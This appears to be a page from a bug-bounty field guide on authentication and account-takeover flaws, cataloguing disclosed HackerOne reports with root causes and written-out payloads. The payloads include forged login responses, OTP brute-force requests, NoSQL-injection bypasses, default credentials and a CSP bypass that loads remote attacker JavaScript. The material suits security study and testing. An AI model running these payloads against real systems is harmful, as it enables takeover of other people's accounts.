⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Vulnerabilities/Authentication & ATO
Vulnerabilities

Authentication & ATO

Β§Basic information

Authentication is the gate that decides who you are; an auth bug lets you walk through it as someone else. The mechanism is almost always the same class of mistake: a trust decision made in the wrong place β€” the client, a request field, a response flag, a spoofable channel, or a token/limit that isn't actually enforced server-side. The payoff is the maximum one, account takeover (ATO), so treat every credential check, OTP, reset token, and "confirm your password" prompt as a control you must prove is enforced, not assume.

The whole game is where the decision lives and whether every path that touches it is guarded. A login form can be perfectly protected while the profile-edit endpoint that consumes the same OTP has no limiter; a password check can run server-side while the response that reports its verdict is trusted by the browser. Map the auth surface, then attack each gate in isolation β€” the obvious one is usually the one they hardened.

Β§Methodology

  1. Enumerate the auth surface. Every login, signup, reset, verify, step-up, and settings endpoint β€” including JSON/GraphQL siblings the UI hides (resend-verify, check-email, loginUser/SignUp mutations, xmlrpc.php, wp-json/*/login).
  2. Locate every gate for each account action: what proves identity here β€” a session, a request field, a response flag, an OTP, a token, a header?
  3. Test each gate in isolation. Protection on /login tells you nothing about /settings/password or the reset-flow OTP that reuses the same code.
  4. Probe the trust boundary β€” intercept the response, not just the request; flip flags; swap the identity/email field; replay tokens.
  5. Confirm enforcement, not messaging. A 429, an error string, or a UI block is not proof the server rejected you; send correct/forged input while "blocked" and watch what the server actually returns.
  6. Escalate to ATO. Turn the primitive (brute, bypass, token leak) into a changed email/password or a valid victim session, then confirm access.
# Enumerate before touching anything /login /api/*/login /graphql (loginUser / SignUp) /forgot-password /reset /2fa/verify /settings/password /settings/email /resend-verify /check-email /users /xmlrpc.php /wp-json/*/login

Β§Technique variants

Find which trust boundary the target gets wrong, then use the matching attack.

Client-trusted flag or identity in the request

The login/authz request carries a boolean or an identity field the server believes. Flip the flag, swap the email β€” you're authenticated as the victim with no valid password.

POST /app/login HTTP/1.1 Content-Type: application/json {"params":{"updates":[ {"param":"user","value":{"userEmail":"VICTIM","userPassword":"wrong"},"op":"a"}, {"param":"gateway","value":true,"op":"a"}]}} # gateway false->true + victim email = server returns VICTIM's authenticated account
β–Έ TIP
Grep login/authz bodies for client-controlled booleans: gateway, status, isAdmin, verified, authenticated, skipAuth, cas. Flip false→true and swap the identity field in the same request. If auth success is derived from a request field instead of a server-side password check, it's a direct ATO.

Response-trust: the client believes the server's verdict

An SPA renders privileged state off a JSON flag in the response, not off a server-issued session. Intercept the response and flip the verdict β€” even the "wrong password" error can still ship status:true.

# Intercept the RESPONSE to the login/step-up request, edit the flag, forward HTTP/2 200 OK Content-Type: application/json {"status":true,"errorMessage":"Username and Password does not match."} # ^ false->true; UI renders authenticated admin state though creds are wrong

Same class, one level up β€” forging the server's success shape to walk past a step-up password/2FA prompt by echoing the client's own continuation token:

HTTP/1.1 200 OK Content-Type: application/json {"flow_token":"<PASTED_FLOW_TOKEN>:1","status":"success", "subtasks":[{"subtask_id":"EmailAssocEnterEmail","enter_email":{}}]} # wrong password entered; forged success + reused flow_token advances the flow

OTP / PIN / 2FA brute-force

Short numeric codes are only as strong as the throttle and expiry behind them. Test the verify endpoint separately β€” and test every path that consumes the code, not just login.

# Non-expiring challenge token -> exhaust the whole space (0000-9999) POST /api/v3/login/phone/<TOKEN> HTTP/1.1 Content-Type: application/json {"response":"0000"} # token never invalidates; 200 = valid PIN -> session
# Parallel path reuses the code without the login limiter (204 = success oracle) PUT /api/passenger/v2/profiles/edit HTTP/1.1 x-mts-ssid: <session> Content-Type: application/x-www-form-urlencoded profileActivationCode=0000 # 204 No Content = success, 400 = fail; no lockout -> ATO
β–² WARNING
A 429 Throttled is not proof of protection. Advisory-only limiters return the throttle message but still authenticate a request carrying the correct credentials. Always verify by sending valid/known-good input while "throttled" β€” if it succeeds, the limiter is cosmetic (#1065186).

Password-reset abuse

The reset flow is a whole attack surface: where the link's host comes from, whether the token is bound/single-use/short-lived, and whether the OTP step is throttled.

# Host-header reset-link poisoning -> the token walks into your logs POST /login/callback/concrete/forgot_password HTTP/1.1 Host: COLLAB Content-Type: application/x-www-form-urlencoded ccm_token=<csrf>&uEmail=VICTIM&resetPassword= # emailed link now points to COLLAB; victim clicks -> token in your access log -> reset

Also test: reset OTP with no attempt cap on the final step (throttled earlier, open at the end); a verification token accepted as a reset token (scope confusion); a reset that completes with the token stripped from the URL; tokens that survive use and reissue.

Re-auth / step-up prompt bypass

"Confirm current password" and disable-2FA gates only work if they re-verify the right thing and are rate-limited. From a hijacked session, brute the unthrottled old-password field to convert a temporary session into a permanent takeover.

POST /settings/password HTTP/1.1 Cookie: <hijacked session> Content-Type: application/x-www-form-urlencoded current_password=GUESS&new_password=Attacker123! # no throttle on old-password -> full ATO

A subtler variant reconfigures a second factor instead of disabling it: a mutation that checks the password but never the current OTP lets you overwrite the victim's TOTP secret and backup codes.

POST /graphql HTTP/1.1 Content-Type: application/json X-Auth-Token: <session> {"operationName":"UpdateTwoFactorAuthenticationCredentials", "variables":{"password":"<pw>","otp_code":"<otp-for-ATTACKER-secret>", "totp_secret":"<ATTACKER_SECRET>","backup_codes":["..."],"backup_code":"...","signature":"..."}, "query":"mutation UpdateTwoFactorAuthenticationCredentials($password:String!,$otp_code:String!,$backup_code:String!,$totp_secret:String!,$backup_codes:[String]!,$signature:String!){updateTwoFactorAuthenticationCredentials(input:{password:$password,otp_code:$otp_code,backup_code:$backup_code,totp_secret:$totp_secret,backup_codes:$backup_codes,signature:$signature}){was_successful}}"} # rotates 2FA to attacker's secret without validating the previously-enrolled OTP

Enumeration β†’ brute chain

CAPTCHA on the UI is worthless if a JSON sibling leaks existence and skips the control. Harvest valid accounts from the unthrottled endpoint, then brute the login API.

# 1. verbose existence oracle on a sibling endpoint, no CAPTCHA POST /wp-json/brc/v1/resend-verify HTTP/1.1 Content-Type: application/x-www-form-urlencoded email=candidate@TARGET # distinct response for exists vs not # 2. feed valid emails to the unthrottled login API POST /wp-json/brc/v1/login/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=VICTIM@TARGET&password=GUESS

SSO / signup identity confusion

Domain allowlists that compare a raw string but normalize on store, invite tokens not cryptographically bound to an email, and SSO plugins that mint sentinel-password shadow accounts.

# Trailing CRLF desyncs the SSO-domain enforcement check from the stored email POST /users HTTP/1.1 Content-Type: application/x-www-form-urlencoded user%5Bemail%5D=x%40TARGET%0d%0a&user%5Bpassword%5D=Passw0rd! # creates a local password account on an SSO-enforced domain; log in with the clean email
# Invite token accepted for an email different from the one it was minted for POST /graphql HTTP/1.1 Content-Type: application/json {"operationName":"SignUp","variables":{"input":{"email":"victim@corp.com","link":null, "password":"Passw0rd!","source":"invitation"}}, "query":"mutation SignUp($input: SignUpInput!){ auth { signUp(input:$input) __typename } }"} # keep a valid invite, swap the email -> register as an arbitrary identity, verification skipped

Non-web & internal-trust gateways

Auth that leans on a spoofable channel or a trusted internal header sidesteps the web login entirely.

An SMS/USSD command feature authenticated by caller-ID alone is spoofable end-to-end (SMS/SS7): forge the victim's number as the sender to the carrier short code and issue account commands (OFF to disable SMS 2FA, tweet, DM, follow) with no other auth (#470749).

# SSO shadow accounts: wp-login blocked, but xmlrpc.php honors the plugin's sentinel password curl 'https://TARGET/xmlrpc.php' -H 'Content-type: application/xml' --data-binary @call.xml # call.xml: wp.getOptions with params: blogid, VICTIM@TARGET, @@@nopass@@@

Β§Bypasses

Filter / controlBypassSeen in
Server session (expected)Flip status/success/isAdmin false→true in the login response#1490470
Step-up password promptForge a success response + echo the client's own flow_token#770504
Password check (server)Flip a client-trusted body flag (gateway:true) + swap userEmail#1709881
Browser-side password confirmManipulate the response to pass a client-side check#1040373
Login rate limiter429 is advisory β€” correct creds still authenticate while "throttled"#1065186
CAPTCHA on UI pagesUse the JSON API sibling (resend-verify, login) lacking the control#209008
Challenge-token expiryToken/attempts never invalidate β†’ exhaust a 4-digit PIN space#766578
OTP throttle on login onlyReuse the code on the profile-edit / reset path with no limiter#202425
Disable-2FA OTP checkReconfigure (overwrite) the TOTP secret without proving the current OTP#1139535
SSO-domain allowlistAppend %0d%0a (CRLF) to desync the check from the stored email#2101076
wp-login restrictionxmlrpc.php honors the SSO plugin's @@@nopass@@@ sentinel password#138869
Invite-token→email bindingKeep a valid invite token, swap the email field to any identity#2586433
Trust-device + 2FAChange account email to an unregistered victim; session survives, no OTP#2885636
Caller-ID as authenticatorSpoof victim's number to the SMS short code to run account commands#470749
Referer-based iframe authEmpty Referer via <meta name=referrer content=never> bypasses the check#168116
postMessage origin checkString.search() coerces origin to a RegExp β†’ look-alike domain matches#129873
Reset-flow final stepRate limit on an earlier reset step but not the final code submission#703972

Β§Escalation & impact

Auth bugs are both the start and the end of chains β€” nearly every one terminates in full ATO:

Β§Prevention

Β§Tools

✦Specimens β€” real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β€” concrete payload, outcome, and matching practice lab. 181 in this class.

Real-world example

OTP redirection via unvalidated country code concatenated to phone

β—† Critical
Specimen #990048 Β· eternal Β· awarded Β· 251 votes Β· resolved
Program eternalSurface apiChain OTP redirect -> merchant account loginTag account-takeover

Root cause

The merchant login send-otp endpoint did not validate country_isd; the backend appended country_isd to phone_number when generating/sending the OTP, so injecting a full attacker number into country_isd redirected the victim's OTP to the attacker.

Method

  1. Call the send-otp endpoint for the victim's res_id/phone
  2. Set country_isd to an attacker-controlled full number with a trailing separator so it concatenates into a valid destination
  3. Receive the victim's OTP and complete login
POST /merchant-api/dining/merchant-login/v1/send-otp HTTP/1.1 Host: www.zomato.com Content-Type: application/json {"res_id":"<ID>","country_isd":"918888888888,","phone_number":"<VICTIM_PHONE>"}

Insight β€” When OTP delivery composes the destination from multiple params (country code + number, prefix + phone), any unvalidated component can redirect the code. Fuzz country_isd/prefix/dialcode fields with full numbers and separators.

Real-world example

Phone-change OTP accepts static code 0000

β—† Critical
Specimen #2588329 Β· indrive Β· 2000 Β· 238 votes Β· resolved
Program indriveSurface mobile-androidTag account-takeover

Root cause

The OTP verification for changing the account phone number accepted the hardcoded/default code 0000 for any number, so the ownership check was effectively absent.

Method

  1. Account settings -> change phone number to an arbitrary number
  2. Enter OTP 0000
  3. Number is bound to the account
otp=0000

Insight β€” Test OTP/verification flows with trivial codes (0000, 1234, 000000), blank, and 'omit the field'. A magic/default value or missing server check turns a possession factor into a bypass -> ATO / account hijack of any number.

Real-world example

Brute-force login PIN due to non-expiring login token

β—† Critical
Specimen #766578 Β· affirm Β· awarded Β· 154 votes Β· resolved
Program affirmSurface mobile-androidChain non-expiring token -> PIN brute -> session token ->Tag account-takeover

Root cause

Affirm's mobile phone-login issues a token (embedded in response_url); the OTP/PIN is submitted against that token, but the token never expires and there is no attempt limit, so the numeric PIN is brute-forceable indefinitely.

Method

  1. POST phone number to /api/v3/login/phone/ to get response_url with an embedded token
  2. Send OTP guesses to /api/v3/login/phone/<TOKEN> with {"response":"NNNN"} via Intruder
  3. Valid PIN returns 200; response yields Affirm-Client session and user_id
  4. Use Affirm-Client to call /api/v2/users/<user_id> and confirm account access
POST /api/v3/login/phone/ {"channel":"sms","address":"<VICTIM_PHONE>"} -> {"response_url":"/api/v3/login/phone/<TOKEN>"} POST /api/v3/login/phone/<TOKEN> {"response":"0000"} # brute 0000-9999, token never expires

Insight β€” OTP security depends on token/attempt expiry as much as code length. If the login/challenge token doesn't expire or invalidate after N tries, even a 4-digit PIN falls. Always test resend/expiry and attempt caps on the exact token endpoint.

Real-world example

Password-auth bypass by toggling a boolean flag and swapping the email

β—† Critical
Specimen #1709881 Β· mtn_group Β· awarded Β· 107 votes Β· resolved
Program mtn_groupSurface apiChain gateway=true + victim email -> authenticated as victim -&Tag account-takeover

Root cause

The login API trusts client-supplied fields: changing a 'gateway' param from false to true (and swapping userEmail to the victim's) causes the server to return a successful authenticated response for the victim without a valid password.

Method

  1. Log in with the attacker's own account and intercept the POST /app/login body
  2. Change userEmail to the victim's email
  3. Flip the gateway param value from false to true
  4. Send; the response returns the victim's account (authenticated) despite wrong password
POST /app/login HTTP/1.1 {"params":{"updates":[{"param":"user","value":{"userEmail":"<VICTIM>","userPassword":"#######"},"op":"a"},{"param":"gateway","value":true,"op":"a"}]}}

Insight β€” Login/authorization requests that carry client-controlled boolean flags (gateway, isAdmin, verified, authenticated, skipAuth) are prime targets: flip false->true and swap the identity. If the server derives auth success from a request field instead of validating the password, it is a direct ATO.

Real-world example

SMS commands authenticated only by spoofable caller-ID

β—† Critical
Specimen #470749 Β· x Β· none Β· 106 votes Β· resolved
Program xSurface otherChain caller-ID spoof -> remove SMS 2FA -> further account cTag account-takeover

Root cause

Twitter's SMS command feature authenticated actions solely by the sender's phone number; spoofing the victim's caller-ID to the carrier short code executed account commands (remove 2FA, tweet, DM, follow) with no other auth.

Method

  1. Know/guess the victim's registered mobile number
  2. Spoof that number as SMS sender to the region's Twitter short code
  3. Issue SMS commands executed against the victim account
(spoofed SMS from victim number) -> short code -> e.g. 'OFF' to disable SMS 2FA, tweet text, etc.

Insight β€” Any feature that treats an inbound phone number / caller-ID as the authenticator is trivially spoofable (SMS/SS7). Enumerate SMS/USSD/email-to-action gateways and test sender spoofing; these bypass web auth entirely.

Real-world example

Default credentials on admin panel -> super-admin

β—† Critical
Specimen #817331 Β· mtn_group Β· none Β· 53 votes Β· resolved
Program mtn_groupSurface web

Root cause

A production admin/self-service portal ships with unchanged default credentials (admin/admin), granting full super-admin access and configuration control.

Method

  1. Open the login page of the admin/self-service portal.
  2. Try admin/admin (and root/root, admin/password, product-specific defaults).
  3. On success, confirm super-admin capabilities.
username: admin password: admin

Insight β€” Trivial but high-yield: test default and vendor credentials (admin/admin, root/root, product defaults) on every discovered login and admin panel before anything else. Costs one request and periodically returns critical access.

Real-world example

Default/guessable admin creds harvested from public docs (username==password)

β—† Critical
Specimen #1168104 Β· gsa_vdp Β· none Β· 36 votes Β· resolved
Program gsa_vdpSurface webTag account-takeover

Root cause

Weak/nonexistent password policy left an admin account with a trivially guessable password (username == password). Usernames were harvested from a publicly indexed product PDF.

Method

  1. OSINT the target for documents/manuals listing usernames (Google dorks, vendor PDFs).
  2. At the login portal, try username==password and other trivial combos for each harvested user.
  3. 'rick'/'rick' logged in as administrator (edit/create/update users).
# harvested usernames from a public PDF: rick, ban, tim... # try username == password: rick:rick -> admin

Insight β€” Always OSINT for public docs that enumerate real usernames, then test username==password and vendor defaults. A missing password policy on an internal/admin portal is often the whole exploit.

Real-world example

NoSQL injection in login-token handler -> admin auth bypass

β—† Critical
Specimen #1447619 Β· rocket_chat Β· none Β· 30 votes Β· resolved
Program rocket_chatSurface apiTag account-takeover

Root cause

The login-token auth handler passed result.loginToken straight into a Mongo query (services.loginToken.token) without validation, so a query operator object matched the first user and returned a valid authToken - typically the privileged rocket.cat account.

Method

  1. POST to /api/v1/login with a JSON body where loginToken is an operator object
  2. Server returns userId + authToken for the first matching (admin) user
  3. Use x-user-id / x-auth-token headers to call the API as that user
  4. When a real loginToken exists, switch from $exists to $regex to still match
curl -s http://TARGET/api/login -H 'Content-Type: application/json' -d '{"loginToken": { "$exists": false }}' # -> {"data":{"userId":"rocket.cat","authToken":"..."}} # then: -H 'x-user-id: rocket.cat' -H 'x-auth-token: <authToken>'

Insight β€” Any auth field placed directly into a Mongo query is a NoSQL-injection auth bypass - send {"$exists":false}/{"$ne":null}/{"$regex":"."} instead of a string. Enforce that token/credential inputs are strings.

Real-world example

Password-reset SMS-token bruteforce + client-side response tampering

β—† Critical
Specimen #332632 Β· bohemia Β· awarded Β· 28 votes Β· resolved
Program bohemiaSurface webTag account-takeover

Root cause

A multi-step password-reset flow gated progression on a client-side (AngularJS) success check and used a 6-digit SMS token on endpoints with no rate limiting, so the token space (000000-999999) is brute-forceable and step-gating is bypassable by editing the response.

Method

  1. Start reset for the victim: POST /api/system/verification-codes {username}
  2. In Burp, intercept the verify response and change 400/error to 200/{status:ok} to advance the AngularJS applet past step gating
  3. Bruteforce the 6-digit token against the unrate-limited verify endpoint (Intruder, 000000-999999)
  4. Submit the new password with the found code to /api/system/email-account/password
POST /api/system/email-account/password {"password":"<NEW>","code":"<BRUTEFORCED_TOKEN>","securityCode":"<RETRIEVED>"}

Insight β€” 6-digit OTP/reset codes on endpoints without rate limiting are trivially brute-forced. When a SPA gates steps on a JS success flag, tamper the intercepted response (status/body) to walk the flow with invalid inputs. A ReCAPTCHA that isn't actually validated server-side offers no protection.

Real-world example

Username enumeration via distinct error strings + unthrottled login brute force

β—† Critical
Specimen #766875 Β· palo_alto_software Β· none Β· 24 votes Β· resolved
Program palo_alto_softwareSurface apiChain username enumeration -> password brute force -> admin Tag account-takeover

Root cause

The login API returned different error messages for unknown user vs wrong password ('Username does not exist' vs 'Password does not match username') and enforced no rate limiting, enabling username harvesting followed by password brute force to account takeover.

Method

  1. Send login attempts and diff the error strings to separate valid from invalid usernames
  2. Grep out 'Username does not exist' to build a valid-username list (30k+ requests, no blocking)
  3. Brute force passwords per valid username (start with weak/minimum-length passwords); land valid creds incl. admin
POST /api/v1/login HTTP/1.1 Host: api.TARGET Content-Type: application/json {"username":"<user>","password":"<guess>"} # distinct errors: 'Username does not exist' vs 'Password does not match username'

Insight β€” Two classic bugs compound into ATO: message-based username enumeration + no rate limiting. Always diff auth error responses (and status/length/timing) to enumerate users, then brute weak passwords. Absence of a 429 after thousands of requests confirms no throttle.

Real-world example

Default admin credentials on Esri Geoportal

β—† Critical
Specimen #2262365 Β· deptofdefense Β· none Β· 21 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover

Root cause

Deployed geoportal application left factory default administrator accounts enabled.

Method

  1. Locate a /geoportal/ (Esri Geoportal Server) login
  2. Try documented defaults: admin/admin and gptadmin/gptadmin
  3. Authenticate as org admin -> edit/delete content
POST /geoportal/ login username=admin&password=admin // or username=gptadmin&password=gptadmin

Insight β€” Fingerprint the product, then test its documented factory defaults before anything else. Geoportal/Esri, Grafana, Jenkins, Tomcat, printers, and appliance panels all ship well-known admin creds that survive real deployments.

Real-world example

Client-side auth decision: forge login response + set user-id cookie

β—† Critical
Specimen #1959540 Β· mars Β· none Β· 19 votes Β· resolved
Program marsSurface webChain Response manipulation + id cookie set -> full account takTag account-takeover

Root cause

The client decides login success from the server's response body and then trusts a client-set cookie carrying the user id; intercepting and rewriting the response to 'success' plus setting the victim's id logs the attacker in as any user with no password.

Method

  1. Intercept the login request/response for any (attacker) account
  2. Rewrite the response to indicate a successful login
  3. Set the session/identity cookie to the target user's id
  4. Proceed authenticated as the victim - no email/password needed
# original response {"status":"fail"} # tampered response (in proxy) {"status":"success","userId":"<VICTIM_ID>"} # then set cookie: user_id=<VICTIM_ID>

Insight β€” Whenever the front-end, not the server, gates authentication (response body says success, identity carried in a client cookie/localStorage), you own auth. Flip failure->success in the response and swap the id primitive to impersonate arbitrary users.

Real-world example

Sanitizer-truncation auth bypass chained to SSRF/Chrome-debugger data theft

β—† Critical
Specimen #776684 Β· h1-ctf Β· none Β· 16 votes Β· resolved
Program h1-ctfSurface webChain Sanitizer-truncation auth bypass -> blind XSS -> CSP bTag account-takeover

Root cause

Input sanitization strips a trailing special char AFTER identity/recovery material is derived, so registering victim@host< yields a recovery QRcode encoding the real victim@host with a valid code; that logs the attacker in as the privileged user, then a chain of blind-XSS, CSP bypass, IDOR and SSRF reaches the Chrome DevTools port.

Method

  1. Register user 'jobert@mydocz.cosmic<'; sanitizer drops the trailing < so the recovery QRcode encodes the real jobert email + valid code
  2. Use that QRcode at /recover to log in as Jobert
  3. Blind-XSS the support agent via a 1-star chat rating; bypass CSP by loading attacker JS through raw.githack ..%2f path traversal
  4. Use support panel IDOR (unchecked user_id) to store an <iframe src=http://localhost:9222> in a controlled user's name
  5. Convert a document as that user -> SSRF renders the Chrome debugger /json/list, leaking the open secret_document tab URL
  6. Fetch the secret document by its disclosed name
CSP-bypass script load: <script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fBlaklis/typed.js/master/lib//yolo.js"></script> Stored-SSRF via support IDOR: POST /support/review/<id> name=<iframe src="http://localhost:9222"/>&user_id=16&_csrf_token=<t>

Insight β€” Sanitize-after-derive causes identity confusion (registered value != stored/derived value) - always test trailing/prefix specials on email/username. CDN proxies like raw.githack treating ..%2f as traversal defeat path-scoped CSP allowlists. Chrome --remote-debugging on :9222 reachable via SSRF (/json/list, ws API) dumps other tabs' URLs/data.

Real-world example

Admin auth bypass via crafted POST setting a privilege parameter

β—† Critical
Specimen #1146600 Β· deptofdefense Β· none Β· 16 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover

Root cause

Submitting a crafted HTML form POST to an admin endpoint with a specific parameter set (value=1) flips the session/state to authenticated-admin without credentials (exact param names redacted in disclosure).

Method

  1. Visit the admin-related URL
  2. Build an HTML form POSTing to the admin endpoint with the required hidden param set to 1
  3. Submit the form, then reload the admin page
  4. You now have admin access
<form action="https://TARGET/<admin-endpoint>" method="post"> <input type="hidden" name="<redacted>" value=""> <input type="hidden" name="<redacted>" value="1"> <input type="submit"> </form>

Insight β€” Some admin gates are toggled by a client-supplied flag; try POSTing role/admin/authenticated=1 style params to admin endpoints. Payload param names are redacted here, so confidence is limited.

Real-world example

Admin console accessible with default credentials admin/admin

β—† Critical
Specimen #1839012 Β· deptofdefense Β· none Β· 12 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover

Root cause

An admin console was deployed with unchanged vendor/default credentials, granting full portal access to anyone who tries admin/admin.

Method

  1. Locate the admin/login portal
  2. Submit username admin and password admin
  3. Gain access to the portal and its data
username: admin password: admin

Insight β€” Always test default and vendor-documented credentials (admin/admin, admin/password, product-specific defaults) against exposed admin/console/device panels before assuming they are locked down. Low effort, high impact, and still common on staging/appliance/IoT/management interfaces.

Real-world example

2FA bypass: client-supplied challenge equals md5(challenge_answer)

β—† Critical
Specimen #895798 Β· h1-ctf Β· none Β· 11 votes Β· resolved
Program h1-ctfSurface webChain .git leak -> creds from log (1FA) -> forge challenge=mTag account-takeover

Root cause

The 2FA verification form submits both challenge_answer and a challenge value where challenge = md5(challenge_answer); the server compares the two client-supplied fields instead of a server-stored secret, so an attacker who knows (or logs) the answer forges a valid challenge.

Method

  1. Recon: crt.sh for subdomains, ffuf for paths; find exposed .git and dump source/log
  2. Recover leaked credentials from the log file (1FA)
  3. Inspect the 2FA form: params username, password, challenge, challenge_answer
  4. Submit challenge_answer from the log plus challenge = md5(challenge_answer) to pass 2FA
  5. Post-auth: hit the user-statements endpoint and swap identifiers (IDOR) to read other users' data
# 2FA request: challenge_answer=bD83Jk27dQ challenge=md5("bD83Jk27dQ") # attacker computes this client-side

Insight β€” When a verification code and its 'expected value' both travel in the client request (challenge vs challenge_answer, otp vs hash), the check is self-referential and forgeable. Always inspect 2FA/anti-CSRF/nonce fields for client-derivable relationships. Pair with .git leak recon and post-auth IDOR for a full chain.

Real-world example

Default admin/admin credentials on an admin console

β—† Critical
Specimen #1938693 Β· deptofdefense Β· none Β· 8 votes Β· resolved
Program deptofdefenseSurface web

Root cause

The Kinetic Core System Console shipped with default credentials admin/admin that were never changed, granting full admin access to logs, users and system data.

Method

  1. Fingerprint the product/version at the login page.
  2. Try vendor default credentials (admin/admin and product-specific defaults).
  3. Log in to the admin console.
POST /kinetic/app/ login username=admin&password=admin

Insight β€” Always test documented default credentials for the exact product/version you fingerprint - keep a per-product default-cred list. Admin consoles (Kinetic, Tomcat manager, Jenkins, Grafana, printers, appliances) frequently retain factory defaults in production.

Real-world example

Pre-generated MAC-signed VIEWSTATE bypasses CAC auth

β—† Critical
Specimen #496219 Β· deptofdefense Β· none Β· 2 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover

Root cause

For non-CAC file pickups the ASP.NET server issued a MAC-enabled VIEWSTATE binding an incremental package ID; the same signed VIEWSTATE was accepted on the CAC-enforced path. By pre-generating valid VIEWSTATEs for future incremental package IDs (via the non-CAC flow), an attacker had a valid signed token ready to bypass CAC authentication for CAC-required files.

Method

  1. Send a test file to observe the current (incremental) package ID
  2. Via the non-CAC pickupfiles.aspx flow, enumerate future package IDs to harvest their server-signed VIEWSTATE+validation values
  3. When a CAC-enforced package appears, look up the pre-generated VIEWSTATE for that ID
  4. Submit pickupfiles.aspx with that VIEWSTATE (skipping the CAC redirect) plus the file password to download
GET /safe/pickupfiles.aspx?id=<package_id> # non-CAC path returns MAC-signed __VIEWSTATE bound to id # replay stored __VIEWSTATE + __VIEWSTATEGENERATOR for the CAC-enforced id

Insight β€” When a server signs/MACs a token on a low-assurance path and the same token authorizes a high-assurance path, and the bound identifier is predictable/incremental, you can pre-compute valid signed tokens for IDs you don't yet control. Look for shared signing keys across security tiers plus enumerable IDs.

Real-world example

postMessage origin bypass via String.prototype.search regex coercion

β—† High
Specimen #129873 Β· x Β· awarded Β· 616 votes Β· resolved
Program xSurface webChain origin bypass -> associate attacker phone -> password Tag account-takeover

Root cause

Digits SDK validated the postMessage sender origin with sdk_host.search(t.origin). search() coerces its string argument to a RegExp, so the attacker origin is treated as a regex where '.' is a wildcard, letting a look-alike domain match the trusted host.

Method

  1. Find the client-side origin/host check in the SDK
  2. Confirm it uses String.search()/match()/RegExp with attacker-influenced input
  3. Register a domain that is a regex-match of the trusted host by replacing chars with literal dots
  4. Deliver postMessage from that domain to pass validation and receive the victim's credential/token
// Vulnerable check: // -1 !== "https://www.digits.com".search(t.origin) // t.origin is coerced to a RegExp, '.' = wildcard // Attacker origin that matches: www.d.gits.co // matches www.digits.com

Insight β€” Grep client SDKs for .search(, .match(, new RegExp( fed with location/origin/referrer. Any origin comparison that isn't strict === or URL-parsed is likely bypassable. Look-alike domains (dots as wildcards) or regex metacharacters break it.

Real-world example

Password-reset code brute: rate limit on one step, not the final step

β—† High
Specimen #703972 Β· pixiv Β· awarded Β· 313 votes Β· resolved
Program pixivSurface webTag account-takeover

Root cause

The email/SMS verification code (6 digits) was rate-limited during the interactive verify step, but the SAME code was re-validated during the final password-reset submission, which had no attempt limit - so the code is brute-forceable there.

Method

  1. Request password reset for victim email
  2. Note the verify step blocks after a few guesses
  3. Move to the final reset submission which also validates the code but does NOT limit attempts
  4. Brute the 6-digit code at the final step to set a new password
# Final reset request re-validates the code with no attempt cap. # Brute parameters observed: tt, code_id, code, phpsession # for code in 000000..999999: POST reset with code=<code>

Insight β€” Multi-step OTP flows often enforce rate limiting on only ONE step. Always re-test the LAST step (the actual state change) and any alternate endpoint that re-checks the same secret - the limiter is frequently missing there.

Real-world example

Email-OTP 2FA bypass by deleting a refresh cookie

β—† Critical
Specimen #2315420 Β· drugs_com Β· none Β· 100 votes Β· resolved
Program drugs_comSurface webTag account-takeover

Root cause

Full session cookies (PHPSESSID, bb_sessionhash) are issued at the 2FA prompt before the OTP is entered; a separate bb_refresh cookie triggers the 2FA gate. Deleting bb_refresh and refreshing lands in an authenticated session.

Method

  1. Login with valid username+password to reach the 2FA page
  2. DevTools > Application > Cookies for the site
  3. Delete the bb_refresh cookie
  4. Refresh the page -> logged in without OTP

Insight β€” When a 2FA page already holds full session cookies, probe which cookie enforces the gate. Deleting the 'unverified/refresh' marker cookie can drop you into the already-valid session.

Real-world example

Bypass re-auth password prompt by forging the server's success response

β—† High
Specimen #770504 Β· x Β· awarded Β· 287 votes Β· resolved
Program xSurface webChain session hijack -> bypass step-up -> change email/phoneTag account-takeover

Root cause

Twitter's step-up password check before changing email/phone is validated client-side: the browser advances based on the server's JSON. Intercepting and replacing the response with a success + the original flow_token bypasses the check even with a wrong password.

Method

  1. From a hijacked session, start email/phone change and enter any password
  2. Intercept the POST, note the flow_token
  3. Forward it, then intercept the server response
  4. Replace the response body with a success JSON reusing that flow_token
  5. Forward the forged response; the UI proceeds past the password gate
HTTP/1.1 200 OK Content-Type: application/json {"flow_token":"<PASTED_FLOW_TOKEN>:1","status":"success","subtasks":[{"subtask_id":"EmailAssocEnterEmail","enter_email":{...}}]}

Insight β€” When a step-up/2FA/password gate is enforced by trusting the server's response shape, test response tampering: swap error->success and echo the client's own flow/continuation token. The fix must make the NEXT action require server-side proof the challenge passed.

Real-world example

Referer-based iframe auth bypass via empty Referer (meta referrer=never)

β—† High
Specimen #168116 Β· x Β· awarded Β· 261 votes Β· resolved
Program xSurface webTag account-takeover

Root cause

Digits getLoginStatus() gated cross-app credential retrieval by checking the HTTP Referer equals the registered domain. An empty Referer was treated as valid, and a page can suppress its Referer with <meta name="referrer" content="never">, defeating the check.

Method

  1. Embed the Digits bridge iframe from an attacker page
  2. Set <meta name="referrer" content="never"> so outbound requests carry no Referer
  3. Empty Referer passes validation; call getLoginStatus to receive the victim's OAuth credential data
<meta name="referrer" content="never"> <iframe src="https://www.digits.com/bridge"></iframe> <!-- postMessage getLoginStatus, no Referer sent -> validation passes -->

Insight β€” Referer/Origin allowlists that accept the empty/absent value are bypassable: attackers control Referer emission via meta referrer, referrerpolicy, rel=noreferrer, or https->http downgrade. The correct fix is targeted postMessage(targetOrigin), not Referer checks.

Real-world example

Internet-exposed Cisco TelePresence SX80 with default credentials -> RCE

β—† Critical
Specimen #684070 Β· deptofdefense Β· none Β· 29 votes Β· resolved
Program deptofdefenseSurface networkChain default credentials -> device admin -> startup-script

Root cause

A network appliance (Cisco TelePresence SX80) was exposed to the internet still using its factory default credentials, granting full admin, which allows persisting startup scripts (code execution).

Method

  1. Fingerprint the device (banner/IP-info/ASN) to confirm it's an SX80 in scope
  2. Log in with the documented factory default credentials
  3. Use admin control (e.g. /web/scripts startup scripts) to gain code execution / persistence

